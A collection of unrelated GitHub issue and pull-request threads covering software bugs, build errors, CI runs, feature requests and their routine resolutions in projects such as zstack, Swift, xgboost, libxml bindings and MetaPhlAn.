Updated the searchresults page, added category and linked the index page with the search list page. Coordinated the css and added the product model to the searchresuls page

Nice Job. Tested and Approved.


iscsi volume snapshot revert to volume might fail

The failed log is like:
ApiError: API call[org.zstack.header.storage.snapshot.APIRevertVolumeFromSnapshotEvent] failed because [code: SYS.1006, description: An operation failed, details: subvolume[/home/btrfs/rootVolumes/acct-36c27e8ff05c4780bf6d2fa65700f22e/vol-0c63876f658741d4841b99bdf5493ed6-by-snapshot/snapshot-d31631687b644bb98810ca585fe39d99] existing]
The reproduce step:

Create Data volume and attach to vm
Create data volume snapshot1 (sp1) and sp2 sp3,
revert data volume to sp1
create data volume snapshot1.1 (sp1.1) and sp1.1.2 sp 1.1.3
revert data volume to sp1 again
try to create new volume snapshot 1.2 will trigger the error .

cdd9d5779ccea851b2aa44728d8c5a1f82f5af22


[Interpreter] Temporarily prefer /usr/lib/swift for Swift dylibs loaded by the interpreter

This is a cherry-pick of some 5.0 work plus a bit more, that's temporarily needed for 5.1. That need will hopefully go away soon, at which point I'll redo this to prefer the libraries next to the swift binary, and use /usr/lib/swift as a fallback.
rdar://problem/49610198

@swift-ci please test

Build failed
Swift Test OS X Platform
Git Sha - 3311e9b85b8029c2cbf1f38838ccad1b0c9a7651

@swift-ci please test macOS

Build failed
Swift Test Linux Platform
Git Sha - 3311e9b85b8029c2cbf1f38838ccad1b0c9a7651

@swift-ci please test linux

Build failed
Swift Test OS X Platform
Git Sha - 3311e9b85b8029c2cbf1f38838ccad1b0c9a7651

Build failed
Swift Test Linux Platform
Git Sha - 3311e9b85b8029c2cbf1f38838ccad1b0c9a7651

@swift-ci please smoke test


No Internet Connection

Everytime I open the app or change screens I get a pop up at the top of the screen saying that I do not have an internet connection when I do have a connection. I can make transactions but it keeps popping up. Same thing on the BRD wallet too.
Version 173

Sorry @afterconnery , you should upgrade to 175 and file a new issue.


XML save options

There doesn't seem to be a way to set XML save options as provided by libxml2. The only available option is XML_SAVE_FORMAT which is exposed as a boolean argument to document.toString function. Other options such as XML_SAVE_NO_DECL and XML_SAVE_NO_EMPTY cannot be set.

Implemented in PR #326 / #341

PR #341 doesn't implement Document.toString(). Document options can be easily implement by coping over the same option code and using xmlSaveTree instead of xmlDocDumpFormatMemoryEnc (which doesn't have an options argument). It should also be noted that HTML serialization uses a different function entirely. The only option that isn't ignored by htmlNodeDumpFormatOutput is format. Most of the HTML document formatting options are defined at parse time via htmlParserOption.

:+1:

Added in #378


refactor:  make oura v1 compatible with pallas 0.29.0 for Convway Era

@Mercurial the PR looks ok, but I ended up using a different approach: splitting Pallas into multiple deps so that we could keep the old multiplexer but use the new primitives.
Closing in favor of #807


[HELP] XGBOOST-CUDA Error when compilling

Ubuntu 16.04LTS:
so after git cloning recursive, i did:
cd xgboost...cmake -DCUDA_TOOLKIT_ROOT_DIR=/usr/local/cuda-9.0
it generates error:
lemma@lemma:~/xgboost$cmake -DCUDA_TOOLKIT_ROOT_DIR=/usr/local/cuda-9.0
-- The C compiler identification is GNU 5.4.0
-- The CXX compiler identification is GNU 5.4.0
-- Check for working C compiler: /usr/bin/cc
-- Check for working C compiler: /usr/bin/cc -- works
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - failed
-- Detecting C compile features
-- Detecting C compile features - failed
-- Check for working CXX compiler: /usr/bin/c++
-- Check for working CXX compiler: /usr/bin/c++ -- works
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - failed
-- Detecting CXX compile features
-- Detecting CXX compile features - failed
CMake Error at CMakeLists.txt:3 (include):
include could not find load file:
cmake/Utils.cmake

-- Try OpenMP C flag = [-fopenmp]
-- Performing Test OpenMP_FLAG_DETECTED
-- Performing Test OpenMP_FLAG_DETECTED - Success
-- Try OpenMP CXX flag = [-fopenmp]
-- Performing Test OpenMP_FLAG_DETECTED
-- Performing Test OpenMP_FLAG_DETECTED - Success
-- Found OpenMP: -fopenmp
CMake Error at CMakeLists.txt:6 (set_default_configuration_release):
Unknown CMake command "set_default_configuration_release".
-- Configuring incomplete, errors occurred!
See also "/home/lemma/xgboost/build/CMakeFiles/CMakeOutput.log".
See also "/home/lemma/xgboost/build/CMakeFiles/CMakeError.log".
and then:
mkdir build...cd build...cmake -DUSE_CUDA=ON ..
it generates error:
lemma@lemma:~/xgboost/build$ cmake -DUSE_CUDA=ON ..
-- The C compiler identification is GNU 5.4.0
-- The CXX compiler identification is GNU 5.4.0
-- Check for working C compiler: /usr/bin/cc
-- Check for working C compiler: /usr/bin/cc -- works
-- Detecting C compiler ABI info
-- Detecting C compiler ABI info - failed
-- Detecting C compile features
-- Detecting C compile features - failed
-- Check for working CXX compiler: /usr/bin/c++
-- Check for working CXX compiler: /usr/bin/c++ -- works
-- Detecting CXX compiler ABI info
-- Detecting CXX compiler ABI info - failed
-- Detecting CXX compile features
-- Detecting CXX compile features - failed
CMake Error at CMakeLists.txt:3 (include):
include could not find load file:
cmake/Utils.cmake

-- Try OpenMP C flag = [-fopenmp]
-- Performing Test OpenMP_FLAG_DETECTED
-- Performing Test OpenMP_FLAG_DETECTED - Success
-- Try OpenMP CXX flag = [-fopenmp]
-- Performing Test OpenMP_FLAG_DETECTED
-- Performing Test OpenMP_FLAG_DETECTED - Success
-- Found OpenMP: -fopenmp
CMake Error at CMakeLists.txt:6 (set_default_configuration_release):
Unknown CMake command "set_default_configuration_release".
-- Configuring incomplete, errors occurred!
See also "/home/lemma/xgboost/build/CMakeFiles/CMakeOutput.log".
See also "/home/lemma/xgboost/build/CMakeFiles/CMakeError.log".
Some said that gcc 5 is too high so i downgrade by the following steps:
sudo nano make/config.mk
export CC = gcc-4.8
export CXX = g++-4.8
...still not helpful.
Cuda compilation tools, release 7.5, V7.5.17
NVIDIA-SMI 384.81                 Driver Version: 384.81
CuDNN v-6.0 and CUDA-8.0

What are your CC/CXX flags set to normally? Changing these flags in make/config.mk will have no effect on the cmake build. You will have to change these in such a way that cmake knows about it.

I am marking this closed as no response.


Fix localization highlighting issues

Hi @hishamco, I'm your friendly neighborhood .NET Foundation Pull Request Bot (You can call me DNFBOT). Thanks for your contribution!
You've already signed the contribution license agreement. Thanks!
The agreement was validated by .NET Foundation and real humans are currently evaluating your PR.
TTYL, DNFBOT;

@hishamco  nice fixes. Next time I update this article I'll replace hard coded string ranges with snippet tags.

Which snippet tags that you mean? I can help you on that

Take a look at the middleware doc.
You can use #region snippet to reference code and avoid hard coding line numbers and ranges. You can even nest snippets and the OPS tool will remove the  #region snippet  from the rendered code.
It's not worth updating the MD/code samples just to replace line numbers with snippets. When we're updating the doc or working on it, it's nice to upgrade to snippets.

see also https://github.com/aspnet/Docs/blob/master/CONTRIBUTING.md#code-snippets

Thanks seems the #region snippet is better option, but it become tedious when the highlighting lines scattered


Align the card styling more with VSTS

Curernt the card style is totally different then VSTS. Although I see some difference as alignment of text is needed give extra clearance a more consistent look and feel would be great. I suggest to bring the styling bit more to VSTS.
Beside that more information in the cards would be useful; especially:

ID
Assigned
Tags

Thanks @davesmits for feedback. We will consider it in next major release.


add OWNERS_ALIASES support

OWNERS_ALIASES groups are needed for fair blunderbuss review requests.

/cc @lentzi90 @kashifest

/approve


Allow for tab-completion, if not autoFirst and not shift+tab

A fixed version of #16833.

LGTM. @vlazar, thoughts?

Sorry @LeaVerou, a bit busy now to carefully think about it. Some thoughts though. More on original #16833 and expected behavior.
If I understood correctly, the  idea was to be able to select currently highlighted item by Tab key. So that instead of pressing Enter and then Tab you only need to press Tab.
So if Tab now selects an item and goes to next filed, why shouldn't Shift+Tab do the similar: select an item and go to previous field?
I'm also curious, if the behavior in this PR would be expected by default by all users. Any demos for autocomplete controls behaving in similar way?
Also, the check for autoFirst option disables tab completion. Won't this confuse people?

Code itself looks good, but no tests :( With 3 new branches there should up to 8 new tests ;)
In case of LGTM for behavior on this PR I can help with tests.

@vlazar:jQuery UI uses tab to select, also shift-tab selects. https://jqueryui.com/autocomplete/

Thanks @Nepherim! So in JQuery UI Tab and Shift+Tab at least work consistently.
Also, the autoFocus option does not change the tab behavior. See http://jsfiddle.net/Bqujj/


Add https://jsonvat.com to the Finance section

https://jsonvat.com is a source of VAT rates in Europe.
In Europe working with VAT rates can be a hassle, this source helps. A lot.
I wish I knew about this API sooner. 😀  And I'd like to see it added.
Cheers,
—Koen

In Europe working with VAT rates can be a hassle, this source helps. A lot.

Yes, yes it can!!!!!
Thanks for this @koenbollen!

Cheers!


Add a license?

Howdy, I'm hoping to use this plugin as a replacement for Launchy (specifically the Weby plugin) but I cannot get this plugin approved for install by my company's legal team without some indication of what sort of license it has.
https://choosealicense.com/
Thanks in advance.

I added a license file, MIT license.


fix: login with password bug when feature is disabled

Prevent users from logging in with a password through the API when the login with password feature is disabled.
This enhances security on the backend server.

 Thank you for your submission! We really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

@notdu fix:

@hsluoyz fixed, help me to check it again.

@notdu your GitHub user and commit author should be the same person, this is why the CLA doesn't pass

@hsluoyz, i fixed it
Thanks


Sync eng/common directory with azure-sdk-tools for PR 8865

Sync eng/common directory with azure-sdk-tools for PR https://github.com/Azure/azure-sdk-tools/pull/8865  See eng/common workflow

/check-enforcer overrde


Update to new corefx

https://github.com/aspnet/KestrelHttpServer/pull/2369
https://github.com/aspnet/Common/pull/326
https://github.com/aspnet/IISIntegration/pull/642
https://github.com/aspnet/SignalR/pull/1561

cc @mmitche for visibility on ProdCon status


Debug error processing new PANC upload

sh-4.2$ geniesp PANC 1.1-consortium --staging
Welcome, Haley Hunter-Zinck!

INFO:synapseclient_default:Welcome, Haley Hunter-Zinck!

 [####################]100.00%   1/1   Done...
Downloading  [####################]100.00%   1.6kB/1.6kB (3.5MB/s) SYNAPSE_TABLE_QUERY_88906934.csv Done...
    TREATMENT
Traceback (most recent call last):
  File "/home/ssm-user/.local/bin/geniesp", line 8, in <module>
    sys.exit(main())
  File "/home/ssm-user/.local/lib/python3.7/site-packages/geniesp/__main__.py", line 43, in main
    syn, "../cbioportal", release=args.release, staging=args.staging
  File "/home/ssm-user/.local/lib/python3.7/site-packages/geniesp/bpc_redcap_export_mapping.py", line 932, in run
    timeline_infodf, "TIMELINE-TREATMENT"
  File "/home/ssm-user/.local/lib/python3.7/site-packages/geniesp/bpc_redcap_export_mapping.py", line 606, in make_timeline_treatmentdf
    if "(" in agent:
TypeError: argument of type 'float' is not iterable

@hhunterzinck this means that agent is probably a blank value.

@thomasyu888 yep, nan.  I'm just trying to figure out if this is something new from the derived variable code changes that needs to be brought back to the stats team

Maybe a new validation rule? Agent shouldn't be null?

Investigating in the files, the drug_name (AGENT) is null but still has annotated start and stop times.  I think that's what's causing the issue.  Going to have to circle back with the stats team and sites.  This may have to be a data correction.


Deny touchmove listener on specific element

Hi there,
I use iscroll on my website which contain a simple horizontal menu slider, but it's not working due to touchmove listener and I'm asking if it possible to stop that listener on that slider, or if there is any solution.

After more hours of search, I found this and it helps me


Particle2D issue

Following the tutorial, I added the Particle2D node at the end, but when I imported the playerGrey_up1.png resource as the 'texture' (as shown in the tutorial instructions) I got a particle trail that was twice as big as the Player icon. I know the Player icon had to be scaled to 0.5, 0.5 size, but there was apparently no way to downscale the particle trail to fit the Player icon. Thus, when moving the Player icon in the game, it would leave a trail of fading supersize (2X size) Player icons - very weird.

In the ParticlesMaterial, there is a scale property. Set that to 0.5 (or smaller) to reduce the size of the particles.

Thank you, that did it!


Check if guardrails are still in place after nuking an account

Describe the issue
Prabhu has created a script that will clean up all the artifacts associated to an account. Theoretically it will leave the account in a state identical to a brand new account.
However, I want to answer the following questions:

After nuking, have the guardrails changed in any way?
After nuking an account with permissions different from the standard ones (for example no 2FA, able to run AWS CLI commands from GitHub), will these permissions persist or not? (important at the moment to create the automated tests)
Are we completely sure that a nuked account is completely identical to a brand new one?

Definition of done
Answers to the questions stated above. Depending of the answer, the assumptions in other issues (see #1613) may need to be changed

I am assigning this ticket to myself, but I think that can be assigned to any other member of the tech team

The nuking account has its own problems and does not really completely erase an account. AWS has introduced a procedure to delete accounts each month, so in this context, nuking accounts will not really be utilized.
In addition, the SCP and other guardrails are not related to the accounts, so adding/editing/removing accounts can not in any way affect the SCP and other guardrails artifacts that are placed on the SEA.
In this context, this ticket is not relevant anymore and can be deprecated.


Home Assistant Add-on: "502: Bad Gateway" on Ingress after updating to <IP_ADDRESS>20226

Describe the issue you are experiencing
After updating Home Assistand Add-on to <IP_ADDRESS>20226 i get an error "502: Bad Gateway" when i try to open the Raspberrymatic Gui via ingress.
Direct Access to gui via  port 443 or 80 is working
Describe the behavior you expected
Seeing RaspberryMatic gui via ingress like before
Steps to reproduce the issue
1.Update RaspberryMatic Addon to <IP_ADDRESS>20226
2.Open RaspberryMatic  Gui via ingress
What is the version this bug report is based on?
<IP_ADDRESS>20226
Which base platform are you running?
ha-addon (HomeAssistant Add-on)
Which HomeMatic/homematicIP radio module are you using?
HM-MOD-RPI-PCB
Anything in the logs that might be useful for us?
Mounting /data as /usr/local (Home Assistant Add-On): OK
Starting watchdog...
Identifying host system: oci, OK
Initializing RTC Clock: no hardware found
Running sysctl: OK
Checking for Factory Reset: not required
Checking for Backup Restore: not required
Initializing System: OK
Starting logging: OK
Init onboard LEDs: init, OK
Starting irqbalance: OK
Starting iptables: OK
Starting network: eth0: link up, fixed, firewall, inet up, <IP_ADDRESS>, OK
Identifying Homematic RF-Hardware: ....HmRF: HM-MOD-RPI-PCB/GPIO, HmIP: HM-MOD-RPI-PCB/GPIO, OK
Updating Homematic RF-Hardware: HM-MOD-RPI-PCB: 2.8.6, not necessary, OK
Starting hs485dLoader: disabled
Starting xinetd: OK
Starting eq3configd: OK
Starting lighttpd: OK
Starting ser2net: disabled
Starting ssdpd: OK
Starting sshd: OK
Starting ha-proxy: OK
Starting NUT services: disabled
Initializing Third-Party Addons: OK
Starting LGWFirmwareUpdate: ...OK
Setting LAN Gateway keys: OK
Starting hs485d: disabled
Starting multimacd: .OK
Starting rfd: .OK

Additional information
No response

After some testing i restored the old add-on backup, made an backup in raspberrymatic itself. deleted the Raspberrymatic addon. Installed the newest version of raspberrymatic addon. ingress works. so restore raspberrymatic backup.
everything is fine again


Running with paired-end data generates bowtie file but not txt file

Describe the bug
At first I thought I was running the program wrong but I've noticed that when passing in paired-end sequences to metaphlan the bowtie file is generated but the text file is empty. I can just run metaphlan again on the generated bowtie file but would be handy if the txt file was produced as well.
To Reproduce
Steps to reproduce the behavior:
metaphlan2.py E5b_S84_p1.fastq.gz E5b_S84_p2.fastq.gz --bowtie2out ./metaphlan_output/bowtie_out/E5b_S84.bowtie2.bz2 --input_type fastq > ./metaphlan_output/E5b_S84_profile.txt
Platform (please complete the following information):

Using Python 3.6.9 on Linux
MetaPhlAn version 2.8.1 (23 Jul 2020)
Download source [git]

Hi, in order to use paired end reads, you need to provide them as a comma separated list, e.g. metaphlan2.py E5b_S84_p1.fastq.gz,E5b_S84_p2.fastq.gz